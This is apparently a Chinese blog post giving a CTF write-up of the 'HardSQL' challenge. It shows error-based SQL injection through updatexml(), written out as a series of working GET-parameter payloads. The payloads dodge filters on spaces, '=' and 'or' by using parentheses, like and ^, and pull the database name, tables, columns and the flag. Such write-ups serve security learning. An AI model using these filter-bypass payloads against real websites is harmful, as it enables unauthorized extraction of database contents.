HardSQL笔记

这道题,过滤了大部分常见的传参,甚至连空格、等于号也过滤了,但是没有过滤报错注入

是个表单,有两个可填字段:账号密码,虽然是表单,但是是get传参

这里补充一下:--+经过url编码就是--空格 #经过URL编码就是%23,get传参不能写井号,不会被传参,会认为是锚点,--空格的最后一个空格不会被传进去

 

这里用updatexml()函数进行报错注入

先报当前库名:(这里有个知识:用^符号来代替or符号,^的意思是异或,符号两边肯定都会执行)

?username=a&password=a'^updatexml(1,concat('~',database()),1)%23

得到当前数据库名:geek

 

再爆geek库里的表名:(这里注意:用括号把一些名词关键字括起来可以代替空格,如果是字符串的话注意括号里带上单引号,还有/**/注释也可以代替空格)

?username=a&password=a'^updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),1)%23

就一个表名:H4rDsq1

 

 

再爆列名:(这里注意:and可以用&代替,在当前数据库中查字段,where后可以不写(table_schema)like)

?username=a&password=a'^updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1)%23

 

得到id,username,password

 

再查数据:

?username=a&password=a'^updatexml(1,concat('~',(select(password)from(H4rDsq1))),1)%23

 

得到flag{044eff1a-1806-4003-8b30-3a

使用right()函数,查询右半段。

?username=a&password=a'^updatexml(1,concat('~',(select(right(password,30))from(H4rDsq1))),1)%23

a-1806-4003-8b30-3a71a79e78ae}

拼接flag:

flag{044eff1a-1806-4003-8b30-3a71a79e78ae}

 

重点:

and or用&& ^绕过,=用like绕过

right()函数查右半部分

 

posted @ 2022-06-22 23:06  Galio  阅读(39)  评论(0编辑  收藏  举报